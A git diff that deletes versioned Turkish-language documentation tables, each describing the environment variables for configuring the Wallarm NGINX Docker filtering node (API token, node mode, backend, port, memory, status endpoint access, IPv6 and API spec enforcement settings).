              Varsayılan olarak: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Düğüm modu:
              • `block` kötü amaçlı istekleri engellemek için
              • `safe_blocking` yalnızca [gri listeye alınmış IP adresleri][graylist-docs] kaynaklı kötü amaçlı istekleri engellemek için
              • `monitoring` istekleri engellemeden analiz etmek için
              • `off` trafik analizini ve işlemeyi devre dışı bırakmak için
              Varsayılan olarak: `monitoring`.
              [Filtreleme modlarının ayrıntılı açıklaması →][filtration-modes-docs] | Hayır -`WALLARM_APPLICATION` | Wallarm Cloud içinde kullanılacak korunmuş uygulamanın benzersiz tanımlayıcısı. Değer, `0` dışında pozitif bir tamsayı olabilir.

              Varsayılan değer (değişken konteynıra iletilmezse) `-1`'dir; bu, Wallarm Console → **Settings** → **Application** bölümünde görüntülenen **varsayılan** uygulamayı gösterir.

              [Uygulamaları yapılandırma hakkında daha fazla bilgi →][application-configuration]

              `WALLARM_APPLICATION` değişkeni için destek

              `WALLARM_APPLICATION` değişkeni yalnızca `3.4.1-1` sürümündeki Docker imajından itibaren desteklenir.

              | Hayır -`TARANTOOL_MEMORY_GB` | Tarantool'a ayrılan [bellek miktarı][allocating-memory-guide]. Değer bir tamsayı veya ondalık sayı olabilir (ondalık ayırıcı nokta .). Varsayılan olarak: 0.2 gigabayt. | Hayır -`DEPLOY_FORCE` | Çalıştırdığınız konteynerin tanımlayıcısı mevcut bir Wallarm düğüm adıyla eşleşirse, mevcut Wallarm düğümünü yenisiyle değiştirir. Değişkene şu değerler atanabilir:
              • `true` filtreleme düğümünü değiştirmek için
              • `false` filtreleme düğümünün değiştirilmesini devre dışı bırakmak için
              Varsayılan değer (değişken konteynıra iletilmezse) `false`'tur.
              Wallarm düğüm adı her zaman çalıştırdığınız konteynerin tanımlayıcısıyla eşleşir. Filtreleme düğümünün değiştirilmesi, ortamınızdaki Docker konteyner tanımlayıcıları statik ise ve filtreleme düğümüyle başka bir Docker konteyneri çalıştırmaya çalışıyorsanız (örneğin, imajın yeni bir sürümüne sahip bir konteyner) faydalıdır. Bu durumda değişken değeri `false` ise, filtreleme düğümü oluşturma işlemi başarısız olur. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-3.6.md b/include-tr/waf/installation/nginx-docker-all-env-vars-3.6.md deleted file mode 100644 index 6b3cc8482a..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-3.6.md +++ /dev/null @@ -1,11 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`DEPLOY_USER` | Wallarm Console içindeki **Deploy** veya **Administrator** kullanıcı hesabının e-posta adresi. | Evet -`DEPLOY_PASSWORD` | Wallarm Console içindeki **Deploy** veya **Administrator** kullanıcı hesabının parolası. | Evet -`NGINX_BACKEND` | Wallarm çözümüyle korunacak kaynağın etki alanı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` US Cloud için
              • `api.wallarm.com` EU Cloud için
              Varsayılan: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Düğüm modu:
              • `block` kötü amaçlı istekleri engellemek için
              • `safe_blocking` yalnızca [gri listeye alınmış IP adreslerinden][graylist-docs] gelen kötü amaçlı istekleri engellemek için
              • `monitoring` istekleri analiz etmek fakat engellememek için
              • `off` trafik analizini ve işlemeyi devre dışı bırakmak için
              Varsayılan: `monitoring`.
              [Filtreleme modlarının ayrıntılı açıklaması →][filtration-modes-docs] | Hayır -`WALLARM_APPLICATION` | Wallarm Cloud içinde kullanılacak korunan uygulamanın benzersiz tanımlayıcısı. Değer `0` hariç pozitif bir tamsayı olabilir.

              Varsayılan değer (değişken konteynere geçirilmezse) `-1` değeridir; bu, Wallarm Console → **Settings** → **Application** içinde görüntülenen **varsayılan** uygulamayı ifade eder.

              [Uygulamaları yapılandırma hakkında daha fazla bilgi →][application-configuration]

              `WALLARM_APPLICATION` değişkeni için destek

              `WALLARM_APPLICATION` değişkeni yalnızca `3.4.1-1` sürümündeki Docker imajından itibaren desteklenir.

              | Hayır -`TARANTOOL_MEMORY_GB` | Tarantool için ayrılan [bellek miktarı][allocating-memory-guide]. Değer bir tamsayı veya kayan noktalı sayı olabilir (ondalık ayırıcı bir nokta .). Varsayılan: 0.2 gigabayt. | Hayır -`DEPLOY_FORCE` | Çalıştırmakta olduğunuz konteynerin tanımlayıcısıyla mevcut Wallarm düğümü adının eşleşmesi durumunda, mevcut bir Wallarm düğümünü yenisiyle değiştirir. Değişkene şu değerler atanabilir:
              • Filtreleme düğümünü değiştirmek için `true`
              • Filtreleme düğümünün değiştirilmesini devre dışı bırakmak için `false`
              Varsayılan değer (değişken konteynere geçirilmezse) `false`.
              Wallarm düğümü adı her zaman çalıştırdığınız konteynerin tanımlayıcısıyla eşleşir. Ortamınızda Docker konteyner tanımlayıcıları statikse ve filtreleme düğümüyle başka bir Docker konteyneri çalıştırmaya çalışıyorsanız (örneğin, imajın yeni bir sürümüne sahip bir konteyner), filtreleme düğümünü değiştirmek faydalıdır. Bu durumda değişken değeri `false` ise filtreleme düğümü oluşturma işlemi başarısız olur. | Hayır -`NGINX_PORT` |

              NGINX’in Docker konteyneri içinde kullanacağı bir bağlantı noktasını ayarlar. Bu, bu Docker konteynerini bir Kubernetes kümesindeki pod içinde bir [sidecar konteyner][about-sidecar-container] olarak kullanırken bağlantı noktası çakışmasını önlemeyi sağlar.

              Varsayılan değer (değişken konteynere geçirilmezse) `80`.

              Sözdizimi: `NGINX_PORT='443'`.

              | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-4.0.md b/include-tr/waf/installation/nginx-docker-all-env-vars-4.0.md deleted file mode 100644 index 11d44bba1d..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-4.0.md +++ /dev/null @@ -1,9 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm node belirteci.

              Wallarm Cloud erişimini yapılandıran önceki değişkenler

              4.0 sürümünden önce, `WALLARM_API_TOKEN` öncesindeki değişkenler `DEPLOY_USERNAME` ve `DEPLOY_PASSWORD` idi. Yeni sürümden itibaren, Wallarm Cloud’a erişim için belirteç (token) tabanlı yeni yaklaşımın kullanılması önerilir. [Yeni node sürümüne geçiş hakkında daha fazla bilgi](/updating-migrating/docker-container/)

              | Evet -`NGINX_BACKEND` | Wallarm çözümü ile korunacak kaynağın alan adı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan olarak: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Node modu:
              • Kötü amaçlı istekleri engellemek için `block`
              • Yalnızca [gri listeye alınmış IP adresleri][graylist-docs] kaynaklı kötü amaçlı istekleri engellemek için `safe_blocking`
              • İstekleri analiz edip engellememek için `monitoring`
              • Trafik analizi ve işlenmesini devre dışı bırakmak için `off`
              Varsayılan olarak: `monitoring`.
              [Filtreleme modlarının ayrıntılı açıklaması →][filtration-modes-docs] | Hayır -`WALLARM_APPLICATION` | Wallarm Cloud içinde kullanılacak, korunan uygulamanın benzersiz tanımlayıcısı. Değer `0` hariç pozitif bir tamsayı olabilir.

              Varsayılan değer (değişken konteynere aktarılmazsa) `-1`’dir; bu, Wallarm Console → **Settings** → **Application** içinde gösterilen **default** uygulamasını belirtir.

              [Uygulamaların yapılandırılması hakkında daha fazla bilgi →][application-configuration] | Hayır -`TARANTOOL_MEMORY_GB` | Tarantool’a ayrılan [bellek miktarı][allocating-memory-guide]. Değer bir tamsayı veya kayan noktalı sayı olabilir (ondalık ayırıcı bir nokta .). Varsayılan olarak: 0.2 gigabayt. | Hayır -`NGINX_PORT` | NGINX’in Docker konteyneri içinde kullanacağı portu ayarlar.

              Docker imajı `4.0.2-1` itibarıyla, [`wallarm-status`][node-status-docs] servisi otomatik olarak NGINX ile aynı portta çalışır.

              Varsayılan değer (değişken konteynere aktarılmazsa) `80`’dir.

              Sözdizimi `NGINX_PORT='443'`. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-4.10.md b/include-tr/waf/installation/nginx-docker-all-env-vars-4.10.md deleted file mode 100644 index e2f97d6820..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-4.10.md +++ /dev/null @@ -1,13 +0,0 @@ -Ortam değişkeni | Açıklama| Zorunlu ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm düğümü veya API belirteci. | Evet -`WALLARM_LABELS` |

              4.6 düğüm sürümünden itibaren kullanılabilir. Yalnızca `WALLARM_API_TOKEN` [API belirteci][api-token] `Deploy` rolüyle ayarlandıysa çalışır. Düğüm örneklerini gruplamak için `group` etiketini ayarlar, örneğin:

              `WALLARM_LABELS="group="`

              ...düğüm örneğini `` örnek grubuna yerleştirir (mevcutsa ona, değilse oluşturulur).

              | Evet (API belirteçleri için) -`NGINX_BACKEND` | Wallarm çözümü ile korunacak kaynağın alan adı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` US Cloud için
              • `api.wallarm.com` EU Cloud için
              Varsayılan olarak: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Düğüm modu:
              • `block` kötü amaçlı istekleri engellemek için
              • `safe_blocking` yalnızca [gri listeye alınmış IP adreslerinden][graylist-docs] gelen kötü amaçlı istekleri engellemek için
              • `monitoring` istekleri analiz etmek, ancak engellememek için
              • `off` trafik analizini ve işlemeyi devre dışı bırakmak için
              Varsayılan olarak: `monitoring`.
              [Filtreleme modlarının ayrıntılı açıklaması →][filtration-modes-docs] | Hayır -`WALLARM_APPLICATION` | Wallarm Cloud'da kullanılacak, korunan uygulamanın benzersiz tanımlayıcısı. Değer, `0` hariç pozitif bir tam sayı olabilir.

              Varsayılan değer (değişken konteynıra geçirilmezse) `-1`'dir; bu, Wallarm Console → **Settings** → **Application** içinde görüntülenen **default** uygulamayı belirtir.

              [Uygulamaları yapılandırma hakkında daha fazla bilgi →][application-configuration] | Hayır -`TARANTOOL_MEMORY_GB` | Tarantool'a ayrılan [bellek miktarı][allocating-memory-guide]. Değer bir tam sayı veya ondalık olabilir (ondalık ayırıcı olarak nokta . kullanılır). Varsayılan olarak: 1 gigabayt. | Hayır -`NGINX_PORT` | NGINX'in Docker konteyneri içinde kullanacağı bir bağlantı noktasını ayarlar.

              Docker imajı `4.0.2-1`'den itibaren, [`wallarm-status`][node-status-docs] hizmeti otomatik olarak NGINX ile aynı portta çalışır.

              Varsayılan değer (değişken konteynıra geçirilmezse) `80`'dir.

              Sözdizimi: `NGINX_PORT='443'`. | Hayır -`WALLARM_STATUS_ALLOW` | Docker konteynerinin dışından [`/wallarm-status` uç noktasına][node-status-docs] erişmesine izin verilen özel CIDR'lar. Örnek değer: `10.0.0.0/8`. Birden fazla değer iletmeniz gerekiyorsa ayırıcı olarak virgül `,` kullanın. Hizmete dışarıdan erişmek için Docker konteynerinin IP'sini kullanın ve `/wallarm-status` uç noktası yolunu belirtin. | Hayır -`DISABLE_IPV6`| Boş olmayan herhangi bir değere sahip değişken, NGINX yapılandırma dosyasından `listen [::]:80 default_server ipv6only=on;` satırını siler; bu, NGINX'in IPv6 bağlantılarını işlemesini durdurur.

              Değişken açıkça belirtilmezse veya değeri boş `""` ise, NGINX hem IPv6 hem de IPv4 bağlantılarını işler. | Hayır -`WALLARM_APIFW_ENABLE` | Bu ayar, 4.10 sürümünden itibaren kullanılabilen [API Spesifikasyon Zorlaması][api-policy-enf-docs] özelliğini açar veya kapatır. Lütfen bu özelliği etkinleştirmenin, Wallarm Console UI üzerinden gereken abonelik ve yapılandırmanın yerine geçmediğini unutmayın.

              Varsayılan değeri `true` olup işlevi etkinleştirir. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-4.2.md b/include-tr/waf/installation/nginx-docker-all-env-vars-4.2.md deleted file mode 100644 index c53f9433b4..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-4.2.md +++ /dev/null @@ -1,10 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm node token'ı.

              Wallarm Cloud erişimini yapılandıran önceki değişkenler

              4.0 sürümünün yayınlanmasından önce, `WALLARM_API_TOKEN` yerine kullanılan değişkenler `DEPLOY_USERNAME` ve `DEPLOY_PASSWORD` idi. Yeni sürümden itibaren, Wallarm Cloud'a erişim için yeni token tabanlı yaklaşımın kullanılması önerilir. [Yeni node sürümüne geçiş hakkında daha fazla bilgi](/updating-migrating/docker-container/)

              | Evet -`NGINX_BACKEND` | Wallarm çözümüyle korunacak kaynağın alan adı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Node modu:
              • `block` kötü amaçlı istekleri engeller
              • `safe_blocking` yalnızca [gri listeye alınmış IP adreslerinden][graylist-docs] kaynaklanan kötü amaçlı istekleri engeller
              • `monitoring` istekleri analiz eder fakat engellemez
              • `off` trafik analizini ve işlemesini devre dışı bırakır
              Varsayılan: `monitoring`.
              [Filtrasyon modlarının ayrıntılı açıklaması →][filtration-modes-docs] | Hayır -`WALLARM_APPLICATION` | Wallarm Cloud içinde kullanılacak korunan uygulamanın benzersiz tanımlayıcısı. Değer, `0` hariç pozitif bir tamsayı olabilir.

              Varsayılan değer (değişken konteynıra iletilmezse) `-1`'dir; bu değer, Wallarm Console → Settings → Application içinde görüntülenen **default** uygulamayı ifade eder.

              [Uygulamaların yapılandırılması hakkında daha fazla bilgi →][application-configuration] | Hayır -`TARANTOOL_MEMORY_GB` | Tarantool'a ayrılan [bellek miktarı][allocating-memory-guide]. Değer bir tamsayı veya kayan noktalı sayı olabilir (ondalık ayırıcı bir nokta . 'dır). Varsayılan: 0.2 gigabayt. | Hayır -`NGINX_PORT` | NGINX'in Docker konteyneri içinde kullanacağı portu ayarlar.

              Docker imajı `4.0.2-1`'den itibaren, [`wallarm-status`][node-status-docs] servisi otomatik olarak NGINX ile aynı portta çalışır.

              Varsayılan değer (değişken konteynıra iletilmezse) `80`'dir.

              Sözdizimi `NGINX_PORT='443'` şeklindedir. | Hayır -`DISABLE_IPV6`| Boş olmayan herhangi bir değere sahip bu değişken, NGINX yapılandırma dosyasından `listen [::]:80 default_server ipv6only=on;` satırını siler; bu da NGINX'in IPv6 bağlantılarını işlemesini durdurur.

              Değişken açıkça belirtilmezse veya değeri `""` ise, NGINX hem IPv6 hem de IPv4 bağlantılarını işler. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-4.4.md b/include-tr/waf/installation/nginx-docker-all-env-vars-4.4.md deleted file mode 100644 index 1a2b5f2004..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-4.4.md +++ /dev/null @@ -1,11 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm node belirteci.

              Birden fazla kurulum için tek belirteç kullanma

              Seçilen platformdan bağımsız olarak bir belirteci birden fazla kurulumda kullanabilirsiniz. Bu, Wallarm Console UI içinde node örneklerinin mantıksal olarak gruplanmasına olanak sağlar. Örnek: Bir geliştirme ortamına birden fazla Wallarm node dağıtırsınız; her node, belirli bir geliştiriciye ait kendi makinesindedir.

              | Evet -`NGINX_BACKEND` | Wallarm çözümü ile korunacak kaynağın alan adı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • `us1.api.wallarm.com` for the US Cloud
              • `api.wallarm.com` for the EU Cloud
              Varsayılan olarak: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Node modu:
              • `block` kötü amaçlı istekleri engellemek için
              • `safe_blocking` yalnızca [gri listeye alınmış IP adreslerinden][graylist-docs] gelen kötü amaçlı istekleri engellemek için
              • `monitoring` istekleri analiz etmek ancak engellememek için
              • `off` trafik analizini ve işlenmesini devre dışı bırakmak için
              Varsayılan olarak: `monitoring`.
              [Filtreleme modlarının ayrıntılı açıklaması →][filtration-modes-docs] | Hayır -`WALLARM_APPLICATION` | Wallarm Cloud içinde kullanılacak korunan uygulamanın benzersiz tanımlayıcısı. Değer `0` haricinde pozitif bir tamsayı olabilir.

              Varsayılan değer (değişken konteynıra geçirilmezse) `-1`'dir; bu değer, Wallarm Console → **Settings** → **Application** içinde görüntülenen **default** uygulamayı belirtir.

              [Uygulamaların yapılandırılması hakkında daha fazla bilgi →][application-configuration] | Hayır -`TARANTOOL_MEMORY_GB` | Tarantool'a ayrılan [bellek miktarı][allocating-memory-guide]. Değer tamsayı veya kayan nokta olabilir (ondalık ayırıcı nokta . olmalıdır). Varsayılan olarak: 0.2 gigabayt. | Hayır -`NGINX_PORT` | NGINX'in Docker konteyneri içinde kullanacağı bağlantı noktasını ayarlar.

              Docker imajı `4.0.2-1`'den itibaren, [`wallarm-status`][node-status-docs] hizmeti NGINX ile aynı bağlantı noktasında otomatik olarak çalışır.

              Varsayılan değer (değişken konteynıra geçirilmezse) `80`'dir.

              Sözdizimi `NGINX_PORT='443'` şeklindedir. | Hayır -`WALLARM_STATUS_ALLOW` | Docker konteynerinin dışından [`/wallarm-status` endpoint'i][node-status-docs] adresine erişmesine izin verilen özel CIDR'lar. Örnek değer: `10.0.0.0/8`. Birden fazla değer iletmeniz gerekiyorsa, ayırıcı olarak virgül `,` kullanın. Hizmete dışarıdan erişmek için, `/wallarm-status` endpoint yolunu belirterek Docker konteynerinin IP'sini kullanın. | Hayır -`DISABLE_IPV6`| Boş olmayan herhangi bir değer alan değişken, NGINX yapılandırma dosyasından `listen [::]:80 default_server ipv6only=on;` satırını siler; bu, NGINX'in IPv6 bağlantılarını işlemesini durdurur.

              Değişken açıkça belirtilmezse veya boş bir değere `""` sahipse, NGINX hem IPv6 hem de IPv4 bağlantılarını işler. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-4.8.md b/include-tr/waf/installation/nginx-docker-all-env-vars-4.8.md deleted file mode 100644 index f1e5568648..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-4.8.md +++ /dev/null @@ -1,12 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm düğümü veya API belirteci. | Evet -`WALLARM_LABELS` |

              Düğüm 4.6'dan itibaren kullanılabilir. Yalnızca `WALLARM_API_TOKEN`, `Deploy` rolüne sahip [API belirteci][api-token] olarak ayarlandığında çalışır. Düğüm örneklerini gruplamak için `group` etiketini ayarlar, örneğin:

              `WALLARM_LABELS="group="`

              ...düğüm örneğini `` örnek grubuna yerleştirir (mevcutsa; mevcut değilse oluşturulur).

              | Evet (API belirteçleri için) -`NGINX_BACKEND` | Wallarm çözümüyle korunacak kaynağın alan adı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Düğüm modu:
              • `block` kötü amaçlı istekleri engellemek için
              • `safe_blocking` yalnızca [gri listeye alınmış IP adreslerinden][graylist-docs] gelen kötü amaçlı istekleri engellemek için
              • `monitoring` istekleri analiz etmek ancak engellememek için
              • `off` trafik analizini ve işlemeyi devre dışı bırakmak için
              Varsayılan: `monitoring`.
              [Filtreleme modlarının ayrıntılı açıklaması →][filtration-modes-docs] | Hayır -`WALLARM_APPLICATION` | Wallarm Cloud'da kullanılacak korunan uygulamanın benzersiz tanımlayıcısı. Değer `0` hariç pozitif bir tamsayı olabilir.

              Varsayılan değer (değişken konteynıra iletilmezse) `-1`'dir ve bu değer Wallarm Console → **Settings** → **Application** içinde görüntülenen **varsayılan** uygulamayı ifade eder.

              [Uygulamaların yapılandırılması hakkında daha fazla bilgi →][application-configuration] | Hayır -`TARANTOOL_MEMORY_GB` | Tarantool'a ayrılan [bellek miktarı][allocating-memory-guide]. Değer bir tamsayı veya kayan nokta olabilir (ondalık ayırıcı bir nokta . olur). Varsayılan: 1 gigabayt. | Hayır -`NGINX_PORT` | NGINX'in Docker konteyneri içinde kullanacağı portu ayarlar.

              Docker imajı `4.0.2-1`'den itibaren, [`wallarm-status`][node-status-docs] servisi otomatik olarak NGINX ile aynı portta çalışır.

              Varsayılan değer (değişken konteynıra iletilmezse) `80`'dir.

              Sözdizimi `NGINX_PORT='443'` şeklindedir. | Hayır -`WALLARM_STATUS_ALLOW` | Docker konteynerinin dışından [`/wallarm-status` uç noktasına][node-status-docs] erişimine izin verilen özel CIDR'lar. Örnek değer: `10.0.0.0/8`. Birden fazla değer geçirmeniz gerekirse, ayırıcı olarak virgül `,` kullanın. Servise harici olarak erişmek için Docker konteynerinin IP'sini kullanın ve `/wallarm-status` uç noktası yolunu belirtin. | Hayır -`DISABLE_IPV6`| Boş olmayan herhangi bir değere sahip değişken, NGINX yapılandırma dosyasından `listen [::]:80 default_server ipv6only=on;` satırını siler; bu da NGINX'in IPv6 bağlantılarını işlemesini durdurur.

              Değişken açıkça belirtilmezse veya boş bir değere `""` sahipse, NGINX hem IPv6 hem de IPv4 bağlantılarını işler. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-5.0.md b/include-tr/waf/installation/nginx-docker-all-env-vars-5.0.md deleted file mode 100644 index cead37683f..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-5.0.md +++ /dev/null @@ -1,15 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm node veya API token. | Evet -`WALLARM_LABELS` |

              Node 4.6'dan itibaren kullanılabilir. Yalnızca `WALLARM_API_TOKEN` [API token][api-token] olarak Deploy rolüyle ayarlandığında çalışır. Node örnek gruplandırması için `group` etiketini ayarlar, örneğin:

              `WALLARM_LABELS="group="`

              ...node örneğini `` örnek grubuna yerleştirir (mevcutsa mevcut olana, mevcut değilse oluşturulacaktır).

              | Evet (API tokenlar için) -`NGINX_BACKEND` | Wallarm çözümü ile korunacak kaynağın alan adı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Node modu:
              • `block` kötü amaçlı istekleri engellemek için
              • `safe_blocking` yalnızca [grayliste alınmış IP adresleri][graylist-docs] kaynaklı kötü amaçlı istekleri engellemek için
              • `monitoring` istekleri engellemeden analiz etmek için
              • `off` trafik analizini ve işlemesini devre dışı bırakmak için
              Varsayılan: `monitoring`.
              [Filtrasyon modlarının ayrıntılı açıklaması →][filtration-modes-docs] | Hayır -`WALLARM_APPLICATION` | Wallarm Cloud içinde kullanılacak, korunan uygulamanın benzersiz tanımlayıcısı. Değer, `0` hariç pozitif bir tam sayı olabilir.

              Varsayılan değer (değişken konteynıra iletilmezse) `-1` olup Wallarm Console → **Settings** → **Application** bölümünde gösterilen **varsayılan** uygulamayı belirtir.

              [Uygulamaların yapılandırılması hakkında daha fazla bilgi →][application-configuration] | Hayır -`TARANTOOL_MEMORY_GB` | Tarantool'a ayrılan [bellek miktarı][allocating-memory-guide]. Değer bir tamsayı veya ondalık olabilir (ondalık ayırıcı nokta .). Varsayılan: 1 gigabayt. | Hayır -`NGINX_PORT` | NGINX'in Docker konteyneri içinde kullanacağı bir portu ayarlar.

              `4.0.2-1` Docker imajından itibaren, [`wallarm-status`][node-status-docs] servisi otomatik olarak NGINX ile aynı portta çalışır.

              Varsayılan değer (değişken konteynıra iletilmezse) `80`'dir.

              Sözdizimi: `NGINX_PORT='443'`. | Hayır -`WALLARM_STATUS_ALLOW` | Docker konteyneri dışından [`/wallarm-status` endpoint][node-status-docs]'ine erişmesine izin verilen özel CIDR'ler. Örnek değer: `10.0.0.0/8`. Birden fazla değer iletmeniz gerekirse, ayırıcı olarak `,` virgülünü kullanın. Servise harici olarak erişmek için, `/wallarm-status` endpoint yolunu belirterek Docker konteynerinin IP'sini kullanın. | Hayır -`DISABLE_IPV6`| Boş olmayan herhangi bir değere sahip değişken, NGINX yapılandırma dosyasından `listen [::]:80 default_server ipv6only=on;` satırını siler, bu da NGINX'in IPv6 bağlantılarını işlemesini durdurur.

              Değişken açıkça belirtilmezse veya `""` gibi boş bir değere sahipse, NGINX hem IPv6 hem de IPv4 bağlantılarını işler. | Hayır -`WALLARM_APIFW_ENABLE` | Bu ayar, 4.10 sürümünden itibaren mevcut olan [API Specification Enforcement][api-policy-enf-docs] özelliğini açıp kapatır. Lütfen bu özelliği etkinleştirmenin, Wallarm Console UI üzerinden gerekli abonelik ve yapılandırmanın yerine geçmediğini unutmayın.

              Varsayılan değeri `true` olup işlevi etkinleştirir. | Hayır -`APIFW_API_MODE_MAX_ERRORS_IN_RESPONSE` (5.x serisinde 5.3.12 ve sonrası) | [API Specification Enforcement][api-policy-enf-docs] sırasında tek bir istekte tespit edilebilecek hata sayısını sınırlar.

              Varsayılan değer `3`'tür.

              Bu değeri artırırsanız, uygun şekilde bağlanan yapılandırma dosyasında belirterek NGINX yönergesi [`subrequest_output_buffer_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#subrequest_output_buffer_size) değerini de artırın. | Hayır -`WALLARM_APID_ONLY` (5.3.7 ve üzeri) | Bu modda, trafiğinizde tespit edilen saldırılar nod tarafından yerel olarak engellenir ([etkinleştirildiyse][filtration-modes]) ancak Wallarm Cloud'a aktarılmaz. Bu arada, [API Discovery][api-discovery-docs] ve bazı diğer özellikler tamamen işlevsel kalır, API envanterinizi tespit eder ve görselleştirme için Cloud'a yükler. Bu mod, önce API envanterini gözden geçirmek ve hassas verileri belirlemek, ardından kontrollü saldırı verisi aktarımını buna göre planlamak isteyenler içindir. Ancak saldırı aktarımını devre dışı bırakmak nadirdir; çünkü Wallarm saldırı verilerini güvenle işler ve gerekirse [hassas saldırı verisi maskeleme][sensitive-data-rule] sağlar. [Daha fazla bilgi][apid-only-mode-details]
              Varsayılan: `false`. | Hayır \ No newline at end of file diff --git a/include-tr/waf/installation/nginx-docker-all-env-vars-latest.md b/include-tr/waf/installation/nginx-docker-all-env-vars-latest.md deleted file mode 100644 index 2376230a33..0000000000 --- a/include-tr/waf/installation/nginx-docker-all-env-vars-latest.md +++ /dev/null @@ -1,17 +0,0 @@ -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | Wallarm düğümü veya API jetonu. | Evet -`WALLARM_LABELS` |

              Node 4.6'dan itibaren kullanılabilir. Yalnızca `WALLARM_API_TOKEN` [Deploy] rolüne sahip [API jetonu][api-token] olarak ayarlanmışsa çalışır. Düğüm örneklerini gruplamak için `group` etiketini ayarlar, örneğin:

              `WALLARM_LABELS="group="`

              ...düğüm örneğini `` örnek grubuna yerleştirir (mevcutsa, değilse oluşturulur).

              | Evet (API jetonları için) -`NGINX_BACKEND` | Wallarm çözümüyle korunacak kaynağın alan adı veya IP adresi. | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan olarak: `api.wallarm.com`. | Hayır -`WALLARM_MODE` | Düğüm modu:
              • Kötücül istekleri engellemek için `block`
              • Yalnızca [gri listeye alınmış IP adreslerinden][graylist-docs] gelen kötücül istekleri engellemek için `safe_blocking`
              • İstekleri engellemeden analiz etmek için `monitoring`
              • Trafik analizini ve işlenmesini devre dışı bırakmak için `off`
              Varsayılan olarak: `monitoring`.
              [Filtrasyon modlarının ayrıntılı açıklaması →][filtration-modes-docs] | Hayır -`WALLARM_APPLICATION` | Wallarm Cloud içinde kullanılacak, korunan uygulamanın benzersiz tanımlayıcısı. Değer `0` hariç pozitif bir tamsayı olabilir.

              Varsayılan değer (değişken konteynere iletilmezse) `-1`'dir; bu, Wallarm Console → Settings → Application bölümünde görüntülenen **varsayılan** uygulamayı belirtir.

              [Uygulamaların yapılandırılması hakkında daha fazla bilgi →][application-configuration] | Hayır -`SLAB_ALLOC_ARENA` (`TARANTOOL_MEMORY_GB` [NGINX Node 5.x ve daha eski][what-is-new-wstore]) | [Bellek miktarı][allocating-memory-guide] wstore'a ayrılır. Değer bir float olabilir (ondalık ayırıcı olarak nokta .). Varsayılan olarak: 1.0 (1 gigabayt). | Hayır -`NGINX_PORT` | NGINX'in Docker konteyneri içinde kullanacağı bağlantı noktasını ayarlar.

              Docker imgesi `4.0.2-1`'den başlayarak, [`wallarm-status`][node-status-docs] servisi otomatik olarak NGINX ile aynı bağlantı noktasında çalışır.

              Varsayılan değer (değişken konteynere iletilmezse) `80`'dir.

              Sözdizimi: `NGINX_PORT='443'`. | Hayır -`WALLARM_STATUS_ALLOW` | Docker konteynerinin dışından [`/wallarm-status` uç noktası][node-status-docs]'na erişmesine izin verilen özel CIDR'lar. Örnek değer: `10.0.0.0/8`. Birden fazla değer iletmeniz gerekiyorsa, ayırıcı olarak virgül `,` kullanın. Servise harici olarak erişmek için Docker konteynerinin IP'sini kullanın ve `/wallarm-status` uç noktası yolunu belirtin. | Hayır -`DISABLE_IPV6`| Boş olmayan herhangi bir değere sahip olduğunda, NGINX yapılandırma dosyasından `listen [::]:80 default_server ipv6only=on;` satırını siler; bu da NGINX'in IPv6 bağlantılarını işlemeyi durdurmasına neden olur.

